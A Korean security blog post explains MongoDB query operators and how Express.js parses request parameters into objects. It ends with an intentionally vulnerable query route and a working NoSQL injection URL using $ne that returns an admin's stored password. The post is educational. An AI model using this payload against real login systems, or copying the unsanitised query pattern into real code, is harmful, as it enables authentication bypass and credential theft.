티스토리 뷰

웹 해킹/취약점

NOSQL - mongoDB

삼전동해커 2021. 7. 20. 21:59

NOSQL이란?

  • Not Only SQL의 줄임말로 데이터를 다루기 위해 꼭 SQL을 사용하지 않아도 데이터를 다룰 수 있다는 의미.

  • 관계형 DB를 다루지 않아 단순 검색 및 추가 작업을 위한 매우 최적화된 저장 공간.

    • mongoDB는 JSON object 형태로 도큐먼트를 저장한다.
    • schema가 존재하지 않아 테이블에 대한 특별한 정의를 하지 않아도 된다.
    • id 필드가 Primary Key 역할을 한다.
      사용 예시
  • mongoDB에서 status의 값이 A이고 qty의 값이 30보다 작은 데이터값을 찾는 방법은

    • $db.inventory.find( { $and: [{ status: "A" },{ qty: {$lt: 30 }}]})
    • $db.user.insert({uid: 'admin', upw: 'upassword'})
      WriteResult({'nInserted': 1 })
      출력 : {"_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "upassword"}

$를 사용해 연산자를 사용할 수 있다.
- $eq : equal.같은 값을 찾음.
- $gt : grater than. 큰 값.
- $gte : grater than equal. 크거나 같은 값.
- $in : in. 배열 안의 값들과 일치하는 값.
- $lt : less than. 지정된 값보다 작은 값.
- $lte : less than equal. 지정된 값보다 작거나 같은 값.
- $ne : not equal. 같지 않은 값.
- $nin : not in. 배열에 없는 값.
- $and : 쿼리를 모두 만족하는 문서 반환.
- $not : not 연산 적용.
- $nor : 쿼리를 모두 만족하지 않는 값 반환.
- $or : 퀴리 중 하나 이상 만족하는 문서 반환.
- $exists : 지정된 필드가 있는 문서를 찾음.
- $type : 지정된 필드가 지정된 유형인 문서 선택.
- $expr : 쿼리 언어 내에서 집계 식을 사용할 수 있다.
- $JsonSchema : 주어진 JSON 스키마에 대해 문서를 검증한다.
- $mod : 필드 값에 대해 mod 연산을 수행하고 지정된 결과를 가진 문서를 선택.
- $regex : 지정된 정규식과 일치하는 문서를 선택한다.
- $text : 지정된 텍스트 검색.
- $where : 지정된 javascript 식을 만족하는 문서와 일치.mongoDB Bug

mongoDB는 Get방식과 Post 방식으로 데이터를 조회할 수 있다. 두 가지의 코드를 살펴보자.

GET 방식

const express = require('express');
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});

const server = app.listen(3000, function(){
console.log('app.listen');
});

입력과 결과

http://localhost:3000/?data=1234
data: 1234
type: string

http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object

http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object

http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' }
type: object

POST 방식

const express = require('express');
const app = express();
app.use(express.json());
app.use(express.urlencoded( {extended : false } ));
app.get('/', function(req,res) {
res.send('hello world');
});
app.post('/post', function(req,res) {
console.log('data:', req.body.data);
console.log('type:', typeof req.body.data);
res.send({"status":"ok"});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});

쿼리 질의 및 결과

function post(data){
var url = '/post';
fetch(url, {
method: 'POST',
body: JSON.stringify(data),
headers:{
'Content-Type': 'application/json'
}
}).then(res => res.json())
.then(response => console.log('Success:', JSON.stringify(response)))
}

post({"data": 1234});
// data: 1234
// type: number
post({"data": [1, 2, 3]});
// data: [ 1, 2, 3 ]
// type: object
post({"data":{ test: 1 }});
// data: { test: 1 }
// type: object

다음 코드는 db에 접속해 uid와 upw를 찾아 출력하는 코드다.

const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});

http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

$ne를 이용해 db에서 uid의 값이 a가 아닌것&upw가 a가 아닌 것을 출력하게 하였다.

'웹 해킹 > 취약점' 카테고리의 다른 글

java page import file leak  (0) 2021.09.13
SIP 취약점  (0) 2021.04.29
SSTI 취약점  (3) 2020.09.24
파이썬 pickle을 이용한 serialize 취약점  (0) 2020.09.21
type juggling  (0) 2020.09.18
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함